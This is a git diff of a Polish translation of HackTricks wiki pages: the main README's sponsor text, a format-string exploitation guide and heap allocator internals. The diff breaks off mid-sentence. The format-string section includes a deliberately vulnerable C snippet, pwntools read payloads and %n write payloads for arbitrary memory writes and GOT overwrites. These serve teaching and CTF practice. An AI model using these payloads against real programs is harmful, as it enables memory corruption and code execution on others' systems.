Translated ['README.md', 'binary-exploitation/format-strings/README.md',
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 4.1 KiB |
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 131 KiB |
Before Width: | Height: | Size: 131 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 82 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 107 KiB |
23
README.md
|
@ -5,7 +5,7 @@
|
|||
_Hacktricks logos & motion design by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
{% hint style="success" %}
|
||||
**Witamy w wiki, gdzie znajdziesz każdą sztuczkę/technikę hakerską, którą nauczyłem się z CTF, aplikacji w rzeczywistości, czytania badań i wiadomości.**
|
||||
**Witamy w wiki, gdzie znajdziesz każdą sztuczkę/technikę hakerską, którą nauczyłem się z CTF, aplikacji w rzeczywistym życiu, czytania badań i wiadomości.**
|
||||
{% endhint %}
|
||||
|
||||
Aby rozpocząć, zapoznaj się z tą stroną, gdzie znajdziesz **typowy przebieg**, który **powinieneś śledzić podczas pentestingu** jednej lub więcej **maszyn:**
|
||||
|
@ -32,7 +32,7 @@ Możesz sprawdzić ich **blog** pod adresem [**https://blog.stmcyber.com**](http
|
|||
|
||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie w dziedzinie cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologicznych i cyberbezpieczeństwa w każdej dziedzinie.
|
||||
[**RootedCON**](https://www.rootedcon.com) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologicznych i cyberbezpieczeństwa w każdej dziedzinie.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -42,7 +42,7 @@ Możesz sprawdzić ich **blog** pod adresem [**https://blog.stmcyber.com**](http
|
|||
|
||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** to **numer 1 w Europie** w dziedzinie etycznego hackingu i **platforma bug bounty.**
|
||||
**Intigriti** to **numer 1 w Europie** w zakresie etycznego hackingu i **platforma bug bounty.**
|
||||
|
||||
**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hackerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
|
||||
|
@ -65,9 +65,9 @@ Uzyskaj dostęp już dziś:
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (50).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami bug bounty!
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami bugów!
|
||||
|
||||
* **Wgląd w hacking:** Angażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem
|
||||
* **Aktualności o hackingu w czasie rzeczywistym:** Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
|
||||
|
@ -79,24 +79,21 @@ Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbm
|
|||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Niezbędne narzędzie do testów penetracyjnych
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
{% endembed %}
|
||||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1254).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**SerpApi** oferuje szybkie i łatwe API w czasie rzeczywistym do **uzyskiwania wyników wyszukiwania**. Zbierają dane z wyszukiwarek, obsługują proxy, rozwiązują captchy i analizują wszystkie bogate dane strukturalne za Ciebie.
|
||||
**SerpApi** oferuje szybkie i łatwe API w czasie rzeczywistym do **uzyskiwania wyników wyszukiwania w wyszukiwarkach**. Zbierają dane z wyszukiwarek, obsługują proxy, rozwiązują captchy i analizują wszystkie bogate dane strukturalne za Ciebie.
|
||||
|
||||
Subskrypcja jednego z planów SerpApi obejmuje dostęp do ponad 50 różnych API do zbierania danych z różnych wyszukiwarek, w tym Google, Bing, Baidu, Yahoo, Yandex i innych.\
|
||||
W przeciwieństwie do innych dostawców, **SerpApi nie tylko zbiera organiczne wyniki**. Odpowiedzi SerpApi konsekwentnie zawierają wszystkie reklamy, obrazy i filmy inline, grafy wiedzy oraz inne elementy i funkcje obecne w wynikach wyszukiwania.
|
||||
|
@ -111,11 +108,11 @@ Możesz **utworzyć darmowe konto** [**tutaj**](https://serpapi.com/users/sign\_
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) to profesjonalna firma zajmująca się cyberbezpieczeństwem z siedzibą w **Amsterdamie**, która pomaga **chronić** firmy **na całym świecie** przed najnowszymi zagrożeniami w dziedzinie cyberbezpieczeństwa, oferując **usługi ofensywne** z **nowoczesnym** podejściem.
|
||||
[**WebSec**](https://websec.nl) to profesjonalna firma zajmująca się cyberbezpieczeństwem z siedzibą w **Amsterdamie**, która pomaga **chronić** firmy **na całym świecie** przed najnowszymi zagrożeniami w zakresie cyberbezpieczeństwa, oferując **usługi bezpieczeństwa ofensywnego** z **nowoczesnym** podejściem.
|
||||
|
||||
WebSec to **wszystko w jednym** firma zabezpieczeń, co oznacza, że robią wszystko; Pentesting, **Audyty** Bezpieczeństwa, Szkolenia w zakresie Świadomości, Kampanie Phishingowe, Przegląd Kodów, Rozwój Exploitów, Outsourcing Ekspertów ds. Bezpieczeństwa i wiele więcej.
|
||||
|
||||
Inną fajną rzeczą w WebSec jest to, że w przeciwieństwie do średniej w branży, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że **gwarantują najlepsze wyniki jakościowe**, co stwierdzają na swojej stronie "**Jeśli nie możemy tego zhakować, nie płacisz!**". Aby uzyskać więcej informacji, zapoznaj się z ich [**stroną**](https://websec.nl/en/) i [**blogiem**](https://websec.nl/blog/)!
|
||||
Kolejną fajną rzeczą w WebSec jest to, że w przeciwieństwie do średniej w branży, WebSec jest **bardzo pewny swoich umiejętności**, do tego stopnia, że **gwarantują najlepsze wyniki jakościowe**, jak stwierdzają na swojej stronie "**Jeśli nie możemy tego zhakować, nie płacisz!**". Aby uzyskać więcej informacji, zapoznaj się z ich [**stroną internetową**](https://websec.nl/en/) i [**blogiem**](https://websec.nl/blog/)!
|
||||
|
||||
Oprócz powyższego, WebSec jest również **zaangażowanym wsparciem dla HackTricks.**
|
||||
|
||||
|
|
|
@ -1,35 +1,35 @@
|
|||
# Format Strings
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hacking** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_wymagana biegła znajomość języka polskiego w mowie i piśmie_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Podstawowe informacje
|
||||
## Basic Information
|
||||
|
||||
W C **`printf`** to funkcja, która może być używana do **drukowania** pewnego ciągu znaków. **Pierwszym parametrem**, którego oczekuje ta funkcja, jest **surowy tekst z formatami**. **Kolejnymi parametrami** są **wartości**, które mają **zastąpić** **formaty** w surowym tekście.
|
||||
|
||||
Inne podatne funkcje to **`sprintf()`** i **`fprintf()`**.
|
||||
|
||||
Vulnerabilność pojawia się, gdy **tekst atakującego jest używany jako pierwszy argument** tej funkcji. Atakujący będzie w stanie stworzyć **specjalne dane wejściowe, wykorzystując** możliwości **formatu printf** do odczytu i **zapisu dowolnych danych w dowolnym adresie (czytliwym/zapisywalnym)**. Dzięki temu będzie mógł **wykonać dowolny kod**.
|
||||
Vulnerabilność pojawia się, gdy **tekst atakującego jest używany jako pierwszy argument** tej funkcji. Atakujący będzie w stanie stworzyć **specjalne dane wejściowe, które wykorzystują** możliwości **formatu printf** do odczytu i **zapisu dowolnych danych w dowolnym adresie (czytelny/zapisywalny)**. Dzięki temu będzie mógł **wykonać dowolny kod**.
|
||||
|
||||
#### Formatery:
|
||||
#### Formatters:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
|
@ -42,7 +42,7 @@ Vulnerabilność pojawia się, gdy **tekst atakującego jest używany jako pierw
|
|||
```
|
||||
**Przykłady:**
|
||||
|
||||
* Wrażliwy przykład:
|
||||
* Przykład z luką:
|
||||
```c
|
||||
char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
|
@ -87,7 +87,7 @@ i odczytać bezpośrednio czwarty.
|
|||
Zauważ, że atakujący kontroluje parametr `printf`, co zasadniczo oznacza, że jego dane wejściowe będą znajdować się na stosie, gdy `printf` zostanie wywołane, co oznacza, że mógłby zapisać konkretne adresy pamięci na stosie.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Atakujący kontrolujący te dane wejściowe będzie w stanie **dodać dowolny adres na stosie i sprawić, że `printf` uzyska do nich dostęp**. W następnej sekcji zostanie wyjaśnione, jak wykorzystać to zachowanie.
|
||||
Atakujący kontrolujący te dane wejściowe będzie w stanie **dodać dowolny adres na stosie i sprawić, że `printf` uzyska do nich dostęp**. W następnej sekcji wyjaśniono, jak wykorzystać to zachowanie.
|
||||
{% endhint %}
|
||||
|
||||
## **Arbitralne Odczyty**
|
||||
|
@ -106,7 +106,7 @@ p.sendline(payload)
|
|||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że nie możesz umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie obcięty na 0x00 na końcu tego adresu.
|
||||
Zauważ, że nie możesz umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie zakończony na 0x00 na końcu tego adresu.
|
||||
{% endhint %}
|
||||
|
||||
### Znajdź offset
|
||||
|
@ -151,18 +151,18 @@ p.close()
|
|||
Arbitralne odczyty mogą być przydatne do:
|
||||
|
||||
* **Zrzutu** **binarnego** z pamięci
|
||||
* **Dostępu do konkretnych części pamięci, gdzie przechowywane są wrażliwe** **informacje** (jak kanarki, klucze szyfrowania lub niestandardowe hasła, jak w tym [**wyzwaniu CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
* **Dostępu do konkretnych części pamięci, gdzie przechowywane są wrażliwe** **informacje** (jak kanarki, klucze szyfrujące lub niestandardowe hasła, jak w tym [**wyzwaniu CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Arbitralne Zapis**
|
||||
|
||||
Formatter **`%<num>$n`** **zapisuje** **liczbę zapisanych bajtów** w **wskazanym adresie** w parametrze \<num> na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce, za pomocą printf, będzie w stanie sprawić, że **`%<num>$n`** zapisze arbitralną liczbę w arbitralnym adresie.
|
||||
Formatka **`%<num>$n`** **zapisuje** **liczbę zapisanych bajtów** w **wskazanym adresie** w parametrze \<num> na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce za pomocą printf, będzie w stanie sprawić, że **`%<num>$n`** zapisze arbitralną liczbę w arbitralnym adresie.
|
||||
|
||||
Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, aby to zrobić, można użyć formatera **`%.<num-write>%<num>$n`**, aby zapisać liczbę **`<num-write>`** w **adresie wskazywanym przez pozycję `num`**.
|
||||
Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, aby to zrobić, można użyć formatki **`%.<num-write>%<num>$n`**, aby zapisać liczbę **`<num-write>`** w **adresie wskazywanym przez pozycję `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Jednakże, należy zauważyć, że zazwyczaj, aby zapisać adres taki jak `0x08049724` (co jest OGROMNĄ liczbą do zapisania na raz), **używa się `$hn`** zamiast `$n`. To pozwala na **zapisanie tylko 2 bajtów**. Dlatego ta operacja jest wykonywana dwa razy, raz dla najwyższych 2B adresu, a drugi raz dla najniższych.
|
||||
Jednakże, należy zauważyć, że zazwyczaj, aby zapisać adres taki jak `0x08049724` (co jest OGROMNYM numerem do zapisania na raz), **używa się `$hn`** zamiast `$n`. To pozwala na **zapisanie tylko 2 bajtów**. Dlatego ta operacja jest wykonywana dwa razy, raz dla najwyższych 2B adresu, a drugi raz dla najniższych.
|
||||
|
||||
Dlatego ta podatność pozwala na **zapisanie czegokolwiek w dowolnym adresie (arbitralny zapis).**
|
||||
|
||||
|
@ -178,7 +178,7 @@ Jak wspomniano, aby zapisać adres, zazwyczaj potrzebne są 2 kroki: **najpierw
|
|||
* **HOB** jest wywoływane dla 2 wyższych bajtów adresu
|
||||
* **LOB** jest wywoływane dla 2 niższych bajtów adresu
|
||||
|
||||
Następnie, z powodu działania formatu ciągu, musisz **najpierw zapisać najmniejszy** z \[HOB, LOB\], a potem drugi.
|
||||
Następnie, z powodu działania formatu ciągu, musisz **najpierw zapisać najmniejszy** z \[HOB, LOB], a potem drugi.
|
||||
|
||||
Jeśli HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
@ -237,7 +237,7 @@ Możliwe jest nadużycie działań zapisu w podatności na format string, aby **
|
|||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||
* 32 bity, relro, brak canary, nx, brak pie, format string do zapisania adresu wewnątrz main w `.fini_array` (aby przepływ wrócił jeszcze raz) i zapisania adresu do `system` w tabeli GOT wskazującego na `strlen`. Gdy przepływ wraca do main, `strlen` jest wykonywane z danymi wejściowymi użytkownika i wskazując na `system`, wykona przekazane polecenia.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Jeśli jesteś zainteresowany **karierą w hackingu** i chcesz złamać to, co nie do złamania - **zatrudniamy!** (_wymagana biegła znajomość polskiego w mowie i piśmie_).
|
||||
|
||||
|
@ -250,6 +250,6 @@ Ucz się i ćwicz Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
Wspieraj HackTricks
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,36 +17,36 @@ Istnieją różne sposoby rezerwacji przestrzeni, głównie w zależności od u
|
|||
* Program zaczyna od żądania określonej ilości pamięci.
|
||||
* Jeśli na liście kawałków znajduje się dostępny wystarczająco duży, aby spełnić żądanie, zostanie użyty.
|
||||
* Może to nawet oznaczać, że część dostępnego kawałka zostanie użyta do tego żądania, a reszta zostanie dodana do listy kawałków.
|
||||
* Jeśli na liście nie ma dostępnego kawałka, ale w przydzielonej pamięci heapowej jest jeszcze miejsce, menedżer heapów tworzy nowy kawałek.
|
||||
* Jeśli nie ma wystarczającej przestrzeni w heapie, menedżer heapów prosi jądro o rozszerzenie pamięci przydzielonej do heapu, a następnie używa tej pamięci do wygenerowania nowego kawałka.
|
||||
* Jeśli na liście nie ma dostępnego kawałka, ale w przydzielonej pamięci heapowej wciąż jest miejsce, menedżer heapu tworzy nowy kawałek.
|
||||
* Jeśli nie ma wystarczającej przestrzeni w heapie, menedżer heapu prosi jądro o rozszerzenie pamięci przydzielonej do heapu, a następnie używa tej pamięci do wygenerowania nowego kawałka.
|
||||
* Jeśli wszystko zawiedzie, `malloc` zwraca null.
|
||||
|
||||
Zauważ, że jeśli żądana **pamięć przekracza próg**, **`mmap`** zostanie użyty do mapowania żądanej pamięci.
|
||||
|
||||
## Arenas
|
||||
|
||||
W **aplikacjach wielowątkowych** menedżer heapów musi zapobiegać **warunkom wyścigu**, które mogą prowadzić do awarii. Początkowo robiono to za pomocą **globalnego mutexa**, aby zapewnić, że tylko jeden wątek może uzyskać dostęp do heapu w danym czasie, ale spowodowało to **problemy z wydajnością** z powodu wąskiego gardła spowodowanego mutexem.
|
||||
W **aplikacjach wielowątkowych** menedżer heapu musi zapobiegać **warunkom wyścigu**, które mogą prowadzić do awarii. Początkowo robiono to za pomocą **globalnego mutexa**, aby zapewnić, że tylko jeden wątek może uzyskać dostęp do heapu w danym czasie, ale spowodowało to **problemy z wydajnością** z powodu wąskiego gardła spowodowanego mutexem.
|
||||
|
||||
Aby to rozwiązać, alokator heapów ptmalloc2 wprowadził "areny", gdzie **każda arena** działa jako **osobny heap** z **własnymi** strukturami **danymi** i **mutexem**, co pozwala wielu wątkom na wykonywanie operacji na heapie bez zakłócania się nawzajem, o ile używają różnych aren.
|
||||
Aby to rozwiązać, alokator heapu ptmalloc2 wprowadził "areny", gdzie **każda arena** działa jako **osobny heap** z własnymi **strukturami danych** i **mutexem**, co pozwala wielu wątkom na wykonywanie operacji na heapie bez zakłócania się nawzajem, o ile używają różnych aren.
|
||||
|
||||
Domyślna arena "główna" obsługuje operacje na heapie dla aplikacji jednowątkowych. Gdy **nowe wątki** są dodawane, menedżer heapów przypisuje im **wtórne areny**, aby zmniejszyć kontencję. Najpierw próbuje podłączyć każdy nowy wątek do nieużywanej areny, tworząc nowe, jeśli to konieczne, do limitu 2 razy liczby rdzeni CPU dla systemów 32-bitowych i 8 razy dla systemów 64-bitowych. Gdy limit zostanie osiągnięty, **wątki muszą dzielić areny**, co prowadzi do potencjalnej kontencji.
|
||||
Domyślna arena "główna" obsługuje operacje na heapie dla aplikacji jednowątkowych. Gdy **nowe wątki** są dodawane, menedżer heapu przypisuje im **wtórne areny**, aby zmniejszyć kontencję. Najpierw próbuje podłączyć każdy nowy wątek do nieużywanej areny, tworząc nowe, jeśli to konieczne, do limitu 2 razy liczba rdzeni CPU dla systemów 32-bitowych i 8 razy dla systemów 64-bitowych. Gdy limit zostanie osiągnięty, **wątki muszą dzielić areny**, co prowadzi do potencjalnej kontencji.
|
||||
|
||||
W przeciwieństwie do głównej areny, która rozszerza się za pomocą wywołania systemowego `brk`, wtórne areny tworzą "subheapy" za pomocą `mmap` i `mprotect`, aby symulować zachowanie heapu, co pozwala na elastyczność w zarządzaniu pamięcią dla operacji wielowątkowych.
|
||||
W przeciwieństwie do głównej areny, która rozszerza się za pomocą wywołania systemowego `brk`, wtórne areny tworzą "subheapy" za pomocą `mmap` i `mprotect`, aby symulować zachowanie heapu, co pozwala na elastyczne zarządzanie pamięcią dla operacji wielowątkowych.
|
||||
|
||||
### Subheaps
|
||||
|
||||
Subheapy służą jako rezerwy pamięci dla wtórnych aren w aplikacjach wielowątkowych, pozwalając im na wzrost i zarządzanie własnymi regionami heapu oddzielnie od głównego heapu. Oto, jak subheapy różnią się od początkowego heapu i jak działają:
|
||||
Subheapy służą jako rezerwy pamięci dla wtórnych aren w aplikacjach wielowątkowych, pozwalając im na wzrost i zarządzanie własnymi regionami heapu oddzielnie od głównego heapu. Oto jak subheapy różnią się od początkowego heapu i jak działają:
|
||||
|
||||
1. **Początkowy Heap vs. Subheaps**:
|
||||
* Początkowy heap znajduje się bezpośrednio po binarnej wersji programu w pamięci i rozszerza się za pomocą wywołania systemowego `sbrk`.
|
||||
* Subheapy, używane przez wtórne areny, są tworzone za pomocą `mmap`, wywołania systemowego, które mapuje określony region pamięci.
|
||||
2. **Rezerwacja pamięci za pomocą `mmap`**:
|
||||
* Gdy menedżer heapów tworzy subheap, rezerwuje dużą blok pamięci za pomocą `mmap`. Ta rezerwacja nie przydziela pamięci natychmiast; po prostu wyznacza region, którego inne procesy systemowe lub alokacje nie powinny używać.
|
||||
* Gdy menedżer heapu tworzy subheap, rezerwuje dużą blok pamięci za pomocą `mmap`. Ta rezerwacja nie przydziela pamięci natychmiast; po prostu wyznacza region, którego inne procesy systemowe lub alokacje nie powinny używać.
|
||||
* Domyślny rozmiar rezerwacji dla subheapa wynosi 1 MB dla procesów 32-bitowych i 64 MB dla procesów 64-bitowych.
|
||||
3. **Stopniowe rozszerzanie za pomocą `mprotect`**:
|
||||
* Zarezerwowany region pamięci jest początkowo oznaczony jako `PROT_NONE`, co wskazuje, że jądro nie musi jeszcze przydzielać fizycznej pamięci do tej przestrzeni.
|
||||
* Aby "rozszerzyć" subheap, menedżer heapów używa `mprotect`, aby zmienić uprawnienia stron z `PROT_NONE` na `PROT_READ | PROT_WRITE`, co skłania jądro do przydzielenia fizycznej pamięci do wcześniej zarezerwowanych adresów. To podejście krok po kroku pozwala subheapowi na rozszerzanie w miarę potrzeb.
|
||||
* Gdy cały subheap zostanie wyczerpany, menedżer heapów tworzy nowy subheap, aby kontynuować alokację.
|
||||
* Aby "rozszerzyć" subheap, menedżer heapu używa `mprotect`, aby zmienić uprawnienia stron z `PROT_NONE` na `PROT_READ | PROT_WRITE`, co skłania jądro do przydzielenia fizycznej pamięci do wcześniej zarezerwowanych adresów. To podejście krok po kroku pozwala subheapowi na rozszerzanie w miarę potrzeb.
|
||||
* Gdy cały subheap zostanie wyczerpany, menedżer heapu tworzy nowy subheap, aby kontynuować alokację.
|
||||
|
||||
### heap\_info <a href="#heap_info" id="heap_info"></a>
|
||||
|
||||
|
@ -70,13 +70,13 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
|||
```
|
||||
### malloc\_state
|
||||
|
||||
**Każda sterta** (główna arena lub inne areny wątków) ma strukturę **`malloc_state`.**\
|
||||
**Każdy sterta** (główna arena lub inne areny wątków) ma strukturę **`malloc_state`.**\
|
||||
Ważne jest, aby zauważyć, że struktura **głównej areny `malloc_state`** jest **zmienną globalną w libc** (dlatego znajduje się w przestrzeni pamięci libc).\
|
||||
W przypadku struktur **`malloc_state`** stert wątków, znajdują się one **we własnej "stercie" wątku**.
|
||||
W przypadku struktur **`malloc_state`** stert wątków, znajdują się one **wewnątrz własnej "sterty" wątku**.
|
||||
|
||||
Jest kilka interesujących rzeczy do zauważenia w tej strukturze (zobacz kod C poniżej):
|
||||
|
||||
* `__libc_lock_define (, mutex);` jest tam, aby upewnić się, że ta struktura ze sterty jest dostępna przez 1 wątek na raz
|
||||
* `__libc_lock_define (, mutex);` jest tam, aby upewnić się, że ta struktura z sterty jest dostępna przez 1 wątek na raz
|
||||
* Flagi:
|
||||
* ```c
|
||||
#define NONCONTIGUOUS_BIT (2U)
|
||||
|
@ -86,10 +86,10 @@ Jest kilka interesujących rzeczy do zauważenia w tej strukturze (zobacz kod C
|
|||
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||
```
|
||||
* Wskaźnik `mchunkptr bins[NBINS * 2 - 2];` zawiera **wskaźniki** do **pierwszych i ostatnich kawałków** małych, dużych i nieposortowanych **koszy** (minus 2, ponieważ indeks 0 nie jest używany)
|
||||
* Dlatego **pierwszy kawałek** tych koszy będzie miał **wskaźnik wsteczny do tej struktury**, a **ostatni kawałek** tych koszy będzie miał **wskaźnik do przodu** do tej struktury. Co zasadniczo oznacza, że jeśli możesz **ujawnić te adresy w głównej arenie**, będziesz miał wskaźnik do struktury w **libc**.
|
||||
* Struktury `struct malloc_state *next;` i `struct malloc_state *next_free;` są listami połączonymi aren
